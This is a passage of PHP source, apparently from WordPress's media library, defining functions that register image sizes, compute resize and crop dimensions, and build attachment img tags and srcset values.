 * @return bool True if the image size was successfully removed, false on failure.
 */
function remove_image_size( $name ) {
	global $_wp_additional_image_sizes;

	if ( isset( $_wp_additional_image_sizes[ $name ] ) ) {
		unset( $_wp_additional_image_sizes[ $name ] );
		return true;
	}

	return false;
}

/**
 * Registers an image size for the post thumbnail.
 *
 * @since 2.9.0
 *
 * @see add_image_size() for details on cropping behavior.
 *
 * @param int        $width  Image width in pixels.
 * @param int        $height Image height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) {
	add_image_size( 'post-thumbnail', $width, $height, $crop );
}

/**
 * Gets an img tag for an image attachment, scaling it down if requested.
 *
 * The {@see 'get_image_tag_class'} filter allows for changing the class name for the
 * image without having to use regular expressions on the HTML content. The
 * parameters are: what WordPress will use for the class, the Attachment ID,
 * image align value, and the size the image should be.
 *
 * The second filter, {@see 'get_image_tag'}, has the HTML content, which can then be
 * further manipulated by a plugin to change all attribute values and even HTML
 * content.
 *
 * @since 2.5.0
 *
 * @param int          $id    Attachment ID.
 * @param string       $alt   Image description for the alt attribute.
 * @param string       $title Image description for the title attribute.
 * @param string       $align Part of the class name for aligning the image.
 * @param string|int[] $size  Optional. Image size. Accepts any registered image size name, or an array of
 *                            width and height values in pixels (in that order). Default 'medium'.
 * @return string HTML IMG element for given image attachment.
 */
function get_image_tag( $id, $alt, $title, $align, $size = 'medium' ) {

	list( $img_src, $width, $height ) = image_downsize( $id, $size );
	$hwstring                         = image_hwstring( $width, $height );

	$title = $title ? 'title="' . esc_attr( $title ) . '" ' : '';

	$size_class = is_array( $size ) ? implode( 'x', $size ) : $size;
	$class      = 'align' . esc_attr( $align ) . ' size-' . esc_attr( $size_class ) . ' wp-image-' . $id;

	/**
	 * Filters the value of the attachment's image tag class attribute.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $class CSS class name or space-separated list of classes.
	 * @param int          $id    Attachment ID.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	$class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size );

	$html = '<img src="' . esc_url( $img_src ) . '" alt="' . esc_attr( $alt ) . '" ' . $title . $hwstring . 'class="' . $class . '" />';

	/**
	 * Filters the HTML content for the image tag.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $html  HTML content for the image.
	 * @param int          $id    Attachment ID.
	 * @param string       $alt   Image description for the alt attribute.
	 * @param string       $title Image description for the title attribute.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
}

/**
 * Calculates the new dimensions for a down-sampled image.
 *
 * If either width or height are empty, no constraint is applied on
 * that dimension.
 *
 * @since 2.5.0
 *
 * @param int $current_width  Current width of the image.
 * @param int $current_height Current height of the image.
 * @param int $max_width      Optional. Max width in pixels to constrain to. Default 0.
 * @param int $max_height     Optional. Max height in pixels to constrain to. Default 0.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 */
function wp_constrain_dimensions( $current_width, $current_height, $max_width = 0, $max_height = 0 ) {
	if ( ! $max_width && ! $max_height ) {
		return array( $current_width, $current_height );
	}

	$width_ratio  = 1.0;
	$height_ratio = 1.0;
	$did_width    = false;
	$did_height   = false;

	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) {
		$width_ratio = $max_width / $current_width;
		$did_width   = true;
	}

	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) {
		$height_ratio = $max_height / $current_height;
		$did_height   = true;
	}

	// Calculate the larger/smaller ratios.
	$smaller_ratio = min( $width_ratio, $height_ratio );
	$larger_ratio  = max( $width_ratio, $height_ratio );

	if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) {
		// The larger ratio is too big. It would result in an overflow.
		$ratio = $smaller_ratio;
	} else {
		// The larger ratio fits, and is likely to be a more "snug" fit.
		$ratio = $larger_ratio;
	}

	// Very small dimensions may result in 0, 1 should be the minimum.
	$w = max( 1, (int) round( $current_width * $ratio ) );
	$h = max( 1, (int) round( $current_height * $ratio ) );

	/*
	 * Sometimes, due to rounding, we'll end up with a result like this:
	 * 465x700 in a 177x177 box is 117x176... a pixel short.
	 * We also have issues with recursive calls resulting in an ever-changing result.
	 * Constraining to the result of a constraint should yield the original result.
	 * Thus we look for dimensions that are one pixel shy of the max value and bump them up.
	 */

	// Note: $did_width means it is possible $smaller_ratio == $width_ratio.
	if ( $did_width && $w === $max_width - 1 ) {
		$w = $max_width; // Round it up.
	}

	// Note: $did_height means it is possible $smaller_ratio == $height_ratio.
	if ( $did_height && $h === $max_height - 1 ) {
		$h = $max_height; // Round it up.
	}

	/**
	 * Filters dimensions to constrain down-sampled images to.
	 *
	 * @since 4.1.0
	 *
	 * @param int[] $dimensions     {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param int   $current_width  The current width of the image.
	 * @param int   $current_height The current height of the image.
	 * @param int   $max_width      The maximum width permitted.
	 * @param int   $max_height     The maximum height permitted.
	 */
	return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height );
}

/**
 * Retrieves calculated resize dimensions for use in WP_Image_Editor.
 *
 * Calculates dimensions and coordinates for a resized image that fits
 * within a specified width and height.
 *
 * @since 2.5.0
 *
 * @param int        $orig_w Original width in pixels.
 * @param int        $orig_h Original height in pixels.
 * @param int        $dest_w New width in pixels.
 * @param int        $dest_h New height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Returned array matches parameters for `imagecopyresampled()`. False on failure.
 */
function image_resize_dimensions( $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) {

	if ( $orig_w <= 0 || $orig_h <= 0 ) {
		return false;
	}
	// At least one of $dest_w or $dest_h must be specific.
	if ( $dest_w <= 0 && $dest_h <= 0 ) {
		return false;
	}

	/**
	 * Filters whether to preempt calculating the image resize dimensions.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * image_resize_dimensions(), returning that value instead.
	 *
	 * @since 3.4.0
	 *
	 * @param null|mixed $null   Whether to preempt output of the resize dimensions.
	 * @param int        $orig_w Original width in pixels.
	 * @param int        $orig_h Original height in pixels.
	 * @param int        $dest_w New width in pixels.
	 * @param int        $dest_h New height in pixels.
	 * @param bool|array $crop   Whether to crop image to specified width and height or resize.
	 *                           An array can specify positioning of the crop area. Default false.
	 */
	$output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop );

	if ( null !== $output ) {
		return $output;
	}

	// Stop if the destination size is larger than the original image dimensions.
	if ( empty( $dest_h ) ) {
		if ( $orig_w < $dest_w ) {
			return false;
		}
	} elseif ( empty( $dest_w ) ) {
		if ( $orig_h < $dest_h ) {
			return false;
		}
	} else {
		if ( $orig_w < $dest_w && $orig_h < $dest_h ) {
			return false;
		}
	}

	if ( $crop ) {
		/*
		 * Crop the largest possible portion of the original image that we can size to $dest_w x $dest_h.
		 * Note that the requested crop dimensions are used as a maximum bounding box for the original image.
		 * If the original image's width or height is less than the requested width or height
		 * only the greater one will be cropped.
		 * For example when the original image is 600x300, and the requested crop dimensions are 400x400,
		 * the resulting image will be 400x300.
		 */
		$aspect_ratio = $orig_w / $orig_h;
		$new_w        = min( $dest_w, $orig_w );
		$new_h        = min( $dest_h, $orig_h );

		if ( ! $new_w ) {
			$new_w = (int) round( $new_h * $aspect_ratio );
		}

		if ( ! $new_h ) {
			$new_h = (int) round( $new_w / $aspect_ratio );
		}

		$size_ratio = max( $new_w / $orig_w, $new_h / $orig_h );

		$crop_w = round( $new_w / $size_ratio );
		$crop_h = round( $new_h / $size_ratio );

		if ( ! is_array( $crop ) || count( $crop ) !== 2 ) {
			$crop = array( 'center', 'center' );
		}

		list( $x, $y ) = $crop;

		if ( 'left' === $x ) {
			$s_x = 0;
		} elseif ( 'right' === $x ) {
			$s_x = $orig_w - $crop_w;
		} else {
			$s_x = floor( ( $orig_w - $crop_w ) / 2 );
		}

		if ( 'top' === $y ) {
			$s_y = 0;
		} elseif ( 'bottom' === $y ) {
			$s_y = $orig_h - $crop_h;
		} else {
			$s_y = floor( ( $orig_h - $crop_h ) / 2 );
		}
	} else {
		// Resize using $dest_w x $dest_h as a maximum bounding box.
		$crop_w = $orig_w;
		$crop_h = $orig_h;

		$s_x = 0;
		$s_y = 0;

		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
	}

	if ( wp_fuzzy_number_match( $new_w, $orig_w ) && wp_fuzzy_number_match( $new_h, $orig_h ) ) {
		// The new size has virtually the same dimensions as the original image.

		/**
		 * Filters whether to proceed with making an image sub-size with identical dimensions
		 * with the original/source image. Differences of 1px may be due to rounding and are ignored.
		 *
		 * @since 5.3.0
		 *
		 * @param bool $proceed The filtered value.
		 * @param int  $orig_w  Original image width.
		 * @param int  $orig_h  Original image height.
		 */
		$proceed = (bool) apply_filters( 'wp_image_resize_identical_dimensions', false, $orig_w, $orig_h );

		if ( ! $proceed ) {
			return false;
		}
	}

	/*
	 * The return array matches the parameters to imagecopyresampled().
	 * int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
	 */
	return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
}

/**
 * Resizes an image to make a thumbnail or intermediate size.
 *
 * The returned array has the file size, the image width, and image height. The
 * {@see 'image_make_intermediate_size'} filter can be used to hook in and change the
 * values of the returned array. The only parameter is the resized file path.
 *
 * @since 2.5.0
 *
 * @param string     $file   File path.
 * @param int        $width  Image width.
 * @param int        $height Image height.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Metadata array on success. False if no image was created.
 */
function image_make_intermediate_size( $file, $width, $height, $crop = false ) {
	if ( $width || $height ) {
		$editor = wp_get_image_editor( $file );

		if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) ) {
			return false;
		}

		$resized_file = $editor->save();

		if ( ! is_wp_error( $resized_file ) && $resized_file ) {
			unset( $resized_file['path'] );
			return $resized_file;
		}
	}
	return false;
}

/**
 * Helper function to test if aspect ratios for two images match.
 *
 * @since 4.6.0
 *
 * @param int $source_width  Width of the first image in pixels.
 * @param int $source_height Height of the first image in pixels.
 * @param int $target_width  Width of the second image in pixels.
 * @param int $target_height Height of the second image in pixels.
 * @return bool True if aspect ratios match within 1px. False if not.
 */
function wp_image_matches_ratio( $source_width, $source_height, $target_width, $target_height ) {
	/*
	 * To test for varying crops, we constrain the dimensions of the larger image
	 * to the dimensions of the smaller image and see if they match.
	 */
	if ( $source_width > $target_width ) {
		$constrained_size = wp_constrain_dimensions( $source_width, $source_height, $target_width );
		$expected_size    = array( $target_width, $target_height );
	} else {
		$constrained_size = wp_constrain_dimensions( $target_width, $target_height, $source_width );
		$expected_size    = array( $source_width, $source_height );
	}

	// If the image dimensions are within 1px of the expected size, we consider it a match.
	$matched = ( wp_fuzzy_number_match( $constrained_size[0], $expected_size[0] ) && wp_fuzzy_number_match( $constrained_size[1], $expected_size[1] ) );

	return $matched;
}

/**
 * Retrieves the image's intermediate size (resized) path, width, and height.
 *
 * The $size parameter can be an array with the width and height respectively.
 * If the size matches the 'sizes' metadata array for width and height, then it
 * will be used. If there is no direct match, then the nearest image size larger
 * than the specified size will be used. If nothing is found, then the function
 * will break out and return false.
 *
 * The metadata 'sizes' is used for compatible sizes that can be used for the
 * parameter $size value.
 *
 * The url path will be given, when the $size parameter is a string.
 *
 * If you are passing an array for the $size, you should consider using
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 *
 * @param int          $post_id Attachment ID.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'thumbnail'.
 * @return array|false {
 *     Array of file relative path, width, and height on success. Additionally includes absolute
 *     path and URL if registered size is passed to `$size` parameter. False on failure.
 *
 *     @type string $file   Filename of image.
 *     @type int    $width  Width of image in pixels.
 *     @type int    $height Height of image in pixels.
 *     @type string $path   Path of image relative to uploads directory.
 *     @type string $url    URL of image.
 * }
 */
function image_get_intermediate_size( $post_id, $size = 'thumbnail' ) {
	$imagedata = wp_get_attachment_metadata( $post_id );

	if ( ! $size || ! is_array( $imagedata ) || empty( $imagedata['sizes'] ) ) {
		return false;
	}

	$data = array();

	// Find the best match when '$size' is an array.
	if ( is_array( $size ) ) {
		$candidates = array();

		if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) {
			$imagedata['height'] = $imagedata['sizes']['full']['height'];
			$imagedata['width']  = $imagedata['sizes']['full']['width'];
		}

		foreach ( $imagedata['sizes'] as $_size => $data ) {
			// If there's an exact match to an existing image size, short circuit.
			if ( (int) $data['width'] === (int) $size[0] && (int) $data['height'] === (int) $size[1] ) {
				$candidates[ $data['width'] * $data['height'] ] = $data;
				break;
			}

			// If it's not an exact match, consider larger sizes with the same aspect ratio.
			if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) {
				// If '0' is passed to either size, we test ratios against the original file.
				if ( 0 === $size[0] || 0 === $size[1] ) {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $imagedata['width'], $imagedata['height'] );
				} else {
					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $size[0], $size[1] );
				}

				if ( $same_ratio ) {
					$candidates[ $data['width'] * $data['height'] ] = $data;
				}
			}
		}

		if ( ! empty( $candidates ) ) {
			// Sort the array by size if we have more than one candidate.
			if ( 1 < count( $candidates ) ) {
				ksort( $candidates );
			}

			$data = array_shift( $candidates );
			/*
			* When the size requested is smaller than the thumbnail dimensions, we
			* fall back to the thumbnail size to maintain backward compatibility with
			* pre 4.6 versions of WordPress.
			*/
		} elseif ( ! empty( $imagedata['sizes']['thumbnail'] ) && $imagedata['sizes']['thumbnail']['width'] >= $size[0] && $imagedata['sizes']['thumbnail']['width'] >= $size[1] ) {
			$data = $imagedata['sizes']['thumbnail'];
		} else {
			return false;
		}

		// Constrain the width and height attributes to the requested values.
		list( $data['width'], $data['height'] ) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );

	} elseif ( ! empty( $imagedata['sizes'][ $size ] ) ) {
		$data = $imagedata['sizes'][ $size ];
	}

	// If we still don't have a match at this point, return false.
	if ( empty( $data ) ) {
		return false;
	}

	// Include the full filesystem path of the intermediate file.
	if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
		$file_url     = wp_get_attachment_url( $post_id );
		$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
		$data['url']  = path_join( dirname( $file_url ), $data['file'] );
	}

	/**
	 * Filters the output of image_get_intermediate_size()
	 *
	 * @since 4.4.0
	 *
	 * @see image_get_intermediate_size()
	 *
	 * @param array        $data    Array of file relative path, width, and height on success. May also include
	 *                              file absolute path and URL.
	 * @param int          $post_id The ID of the image attachment.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'image_get_intermediate_size', $data, $post_id, $size );
}

/**
 * Gets the available intermediate image size names.
 *
 * @since 3.0.0
 *
 * @return string[] An array of image size names.
 */
function get_intermediate_image_sizes() {
	$default_sizes    = array( 'thumbnail', 'medium', 'medium_large', 'large' );
	$additional_sizes = wp_get_additional_image_sizes();

	if ( ! empty( $additional_sizes ) ) {
		$default_sizes = array_merge( $default_sizes, array_keys( $additional_sizes ) );
	}

	/**
	 * Filters the list of intermediate image sizes.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $default_sizes An array of intermediate image size names. Defaults
	 *                                are 'thumbnail', 'medium', 'medium_large', 'large'.
	 */
	return apply_filters( 'intermediate_image_sizes', $default_sizes );
}

/**
 * Returns a normalized list of all currently registered image sub-sizes.
 *
 * @since 5.3.0
 * @uses wp_get_additional_image_sizes()
 * @uses get_intermediate_image_sizes()
 *
 * @return array[] Associative array of arrays of image sub-size information,
 *                 keyed by image size name.
 */
function wp_get_registered_image_subsizes() {
	$additional_sizes = wp_get_additional_image_sizes();
	$all_sizes        = array();

	foreach ( get_intermediate_image_sizes() as $size_name ) {
		$size_data = array(
			'width'  => 0,
			'height' => 0,
			'crop'   => false,
		);

		if ( isset( $additional_sizes[ $size_name ]['width'] ) ) {
			// For sizes added by plugins and themes.
			$size_data['width'] = (int) $additional_sizes[ $size_name ]['width'];
		} else {
			// For default sizes set in options.
			$size_data['width'] = (int) get_option( "{$size_name}_size_w" );
		}

		if ( isset( $additional_sizes[ $size_name ]['height'] ) ) {
			$size_data['height'] = (int) $additional_sizes[ $size_name ]['height'];
		} else {
			$size_data['height'] = (int) get_option( "{$size_name}_size_h" );
		}

		if ( empty( $size_data['width'] ) && empty( $size_data['height'] ) ) {
			// This size isn't set.
			continue;
		}

		if ( isset( $additional_sizes[ $size_name ]['crop'] ) ) {
			$size_data['crop'] = $additional_sizes[ $size_name ]['crop'];
		} else {
			$size_data['crop'] = get_option( "{$size_name}_crop" );
		}

		if ( ! is_array( $size_data['crop'] ) || empty( $size_data['crop'] ) ) {
			$size_data['crop'] = (bool) $size_data['crop'];
		}

		$all_sizes[ $size_name ] = $size_data;
	}

	return $all_sizes;
}

/**
 * Retrieves an image to represent an attachment.
 *
 * @since 2.5.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should fall back to a mime type icon. Default false.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) {
	// Get a thumbnail or intermediate image if there is one.
	$image = image_downsize( $attachment_id, $size );
	if ( ! $image ) {
		$src = false;

		if ( $icon ) {
			$src = wp_mime_type_icon( $attachment_id, '.svg' );

			if ( $src ) {
				/** This filter is documented in wp-includes/post.php */
				$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );

				$src_file = $icon_dir . '/' . wp_basename( $src );

				list( $width, $height ) = wp_getimagesize( $src_file );

				$ext = strtolower( substr( $src_file, -4 ) );

				if ( '.svg' === $ext ) {
					// SVG does not have true dimensions, so this assigns width and height directly.
					$width  = 48;
					$height = 64;
				} else {
					list( $width, $height ) = wp_getimagesize( $src_file );
				}
			}
		}

		if ( $src && $width && $height ) {
			$image = array( $src, $width, $height, false );
		}
	}
	/**
	 * Filters the attachment image source result.
	 *
	 * @since 4.3.0
	 *
	 * @param array|false  $image         {
	 *     Array of image data, or boolean false if no image is available.
	 *
	 *     @type string $0 Image source URL.
	 *     @type int    $1 Image width in pixels.
	 *     @type int    $2 Image height in pixels.
	 *     @type bool   $3 Whether the image is a resized image.
	 * }
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 */
	return apply_filters( 'wp_get_attachment_image_src', $image, $attachment_id, $size, $icon );
}

/**
 * Gets an HTML img element representing an image attachment.
 *
 * While `$size` will accept an array, it is better to register a size with
 * add_image_size() so that a cropped version is generated. It's much more
 * efficient than having to find the closest-sized image and then having the
 * browser scale down the image.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$srcset` and `$sizes` attributes were added.
 * @since 5.5.0 The `$loading` attribute was added.
 * @since 6.1.0 The `$decoding` attribute was added.
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @param string|array $attr {
 *     Optional. Attributes for the image markup.
 *
 *     @type string       $src           Image attachment URL.
 *     @type string       $class         CSS class name or space-separated list of classes.
 *                                       Default `attachment-$size_class size-$size_class`,
 *                                       where `$size_class` is the image size being requested.
 *     @type string       $alt           Image description for the alt attribute.
 *     @type string       $srcset        The 'srcset' attribute value.
 *     @type string       $sizes         The 'sizes' attribute value.
 *     @type string|false $loading       The 'loading' attribute value. Passing a value of false
 *                                       will result in the attribute being omitted for the image.
 *                                       Default determined by {@see wp_get_loading_optimization_attributes()}.
 *     @type string       $decoding      The 'decoding' attribute value. Possible values are
 *                                       'async' (default), 'sync', or 'auto'. Passing false or an empty
 *                                       string will result in the attribute being omitted.
 *     @type string       $fetchpriority The 'fetchpriority' attribute value, whether `high`, `low`, or `auto`.
 *                                       Default determined by {@see wp_get_loading_optimization_attributes()}.
 * }
 * @return string HTML img element or empty string on failure.
 */
function wp_get_attachment_image( $attachment_id, $size = 'thumbnail', $icon = false, $attr = '' ) {
	$html  = '';
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );

	if ( $image ) {
		list( $src, $width, $height ) = $image;

		$attachment = get_post( $attachment_id );
		$size_class = $size;

		if ( is_array( $size_class ) ) {
			$size_class = implode( 'x', $size_class );
		}

		$default_attr = array(
			'src'   => $src,
			'class' => "attachment-$size_class size-$size_class",
			'alt'   => trim( strip_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) ),
		);

		/**
		 * Filters the context in which wp_get_attachment_image() is used.
		 *
		 * @since 6.3.0
		 *
		 * @param string $context The context. Default 'wp_get_attachment_image'.
		 */
		$context        = apply_filters( 'wp_get_attachment_image_context', 'wp_get_attachment_image' );
		$attr           = wp_parse_args( $attr, $default_attr );
		$attr['width']  = $width;
		$attr['height'] = $height;

		$loading_optimization_attr = wp_get_loading_optimization_attributes(
			'img',
			$attr,
			$context
		);

		// Add loading optimization attributes if not available.
		$attr = array_merge( $attr, $loading_optimization_attr );

		// Omit the `decoding` attribute if the value is invalid according to the spec.
		if ( empty( $attr['decoding'] ) || ! in_array( $attr['decoding'], array( 'async', 'sync', 'auto' ), true ) ) {
			unset( $attr['decoding'] );
		}

		/*
		 * If the default value of `lazy` for the `loading` attribute is overridden
		 * to omit the attribute for this image, ensure it is not included.
		 */
		if ( isset( $attr['loading'] ) && ! $attr['loading'] ) {
			unset( $attr['loading'] );
		}

		// If the `fetchpriority` attribute is overridden and set to false or an empty string.
		if ( isset( $attr['fetchpriority'] ) && ! $attr['fetchpriority'] ) {
			unset( $attr['fetchpriority'] );
		}

		// Generate 'srcset' and 'sizes' if not already present.
		if ( empty( $attr['srcset'] ) ) {
			$image_meta = wp_get_attachment_metadata( $attachment_id );

			if ( is_array( $image_meta ) ) {
				$size_array = array( absint( $width ), absint( $height ) );
				$srcset     = wp_calculate_image_srcset( $size_array, $src, $image_meta, $attachment_id );
				$sizes      = wp_calculate_image_sizes( $size_array, $src, $image_meta, $attachment_id );

				if ( $srcset && ( $sizes || ! empty( $attr['sizes'] ) ) ) {
					$attr['srcset'] = $srcset;

					if ( empty( $attr['sizes'] ) ) {
						$attr['sizes'] = $sizes;
					}
				}
			}
		}

		/** This filter is documented in wp-includes/media.php */
		$add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true );

		// Adds 'auto' to the sizes attribute if applicable.
		if (
			$add_auto_sizes &&
			isset( $attr['loading'] ) &&
			'lazy' === $attr['loading'] &&
			isset( $attr['sizes'] ) &&
			! wp_sizes_attribute_includes_valid_auto( $attr['sizes'] )
		) {
			$attr['sizes'] = 'auto, ' . $attr['sizes'];
		}

		/**
		 * Filters the list of attachment image attributes.
		 *
		 * @since 2.8.0
		 *
		 * @param string[]     $attr       Array of attribute values for the image markup, keyed by attribute name.
		 *                                 See wp_get_attachment_image().
		 * @param WP_Post      $attachment Image attachment post.
		 * @param string|int[] $size       Requested image size. Can be any registered image size name, or
		 *                                 an array of width and height values in pixels (in that order).
		 */
		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size );

		if ( isset( $attr['height'] ) && is_numeric( $attr['height'] ) ) {
			$height = absint( $attr['height'] );
		}
		if ( isset( $attr['width'] ) && is_numeric( $attr['width'] ) ) {
			$width = absint( $attr['width'] );
		}
		unset( $attr['height'], $attr['width'] );
		$attr     = array_map( 'esc_attr', $attr );
		$hwstring = image_hwstring( $width, $height );
		$html     = rtrim( "<img $hwstring" );

		foreach ( $attr as $name => $value ) {
			$html .= " $name=" . '"' . $value . '"';
		}

		$html .= ' />';
	}

	/**
	 * Filters the HTML img element representing an image attachment.
	 *
	 * @since 5.6.0
	 *
	 * @param string       $html          HTML img element or empty string on failure.
	 * @param int          $attachment_id Image attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 * @param bool         $icon          Whether the image should be treated as an icon.
	 * @param string[]     $attr          Array of attribute values for the image markup, keyed by attribute name.
	 *                                    See wp_get_attachment_image().
	 */
	return apply_filters( 'wp_get_attachment_image', $html, $attachment_id, $size, $icon, $attr );
}

/**
 * Gets the URL of an image attachment.
 *
 * @since 4.4.0
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
 * @return string|false Attachment URL or false if no image is available. If `$size` does not match
 *                      any registered image size, the original image URL will be returned.
 */
function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );
	return isset( $image[0] ) ? $image[0] : false;
}

/**
 * Gets the attachment path relative to the upload directory.
 *
 * @since 4.4.1
 * @access private
 *
 * @param string $file Attachment file name.
 * @return string Attachment path relative to the upload directory.
 */
function _wp_get_attachment_relative_path( $file ) {
	$dirname = dirname( $file );

	if ( '.' === $dirname ) {
		return '';
	}

	if ( str_contains( $dirname, 'wp-content/uploads' ) ) {
		// Get the directory name relative to the upload directory (back compat for pre-2.7 uploads).
		$dirname = substr( $dirname, strpos( $dirname, 'wp-content/uploads' ) + 18 );
		$dirname = ltrim( $dirname, '/' );
	}

	return $dirname;
}

/**
 * Gets the image size as array from its meta data.
 *
 * Used for responsive images.
 *
 * @since 4.4.0
 * @access private
 *
 * @param string $size_name  Image size. Accepts any registered image size name.
 * @param array  $image_meta The image meta data.
 * @return array|false {
 *     Array of width and height or false if the size isn't present in the meta data.
 *
 *     @type int $0 Image width.
 *     @type int $1 Image height.
 * }
 */
function _wp_get_image_size_from_meta( $size_name, $image_meta ) {
	if ( 'full' === $size_name ) {
		return array(
			absint( $image_meta['width'] ),
			absint( $image_meta['height'] ),
		);
	} elseif ( ! empty( $image_meta['sizes'][ $size_name ] ) ) {
		return array(
			absint( $image_meta['sizes'][ $size_name ]['width'] ),
			absint( $image_meta['sizes'][ $size_name ]['height'] ),
		);
	}

	return false;
}

/**
 * Retrieves the value for an image attachment's 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 *
 * @param int          $attachment_id Image attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A 'srcset' value string or false.
 */
function wp_get_attachment_image_srcset( $attachment_id, $size = 'medium', $image_meta = null ) {
	$image = wp_get_attachment_image_src( $attachment_id, $size );

	if ( ! $image ) {
		return false;
	}

	if ( ! is_array( $image_meta ) ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
	}

	$image_src  = $image[0];
	$size_array = array(
		absint( $image[1] ),
		absint( $image[2] ),
	);

	return wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );
}

/**
 * A helper function to calculate the image sources to include in a 'srcset' attribute.
 *
 * @since 4.4.0
 *
 * @param int[]  $size_array    {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 * @param string $image_src     The 'src' of the image.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return string|false The 'srcset' attribute value. False on error or when only one source exists.
 */
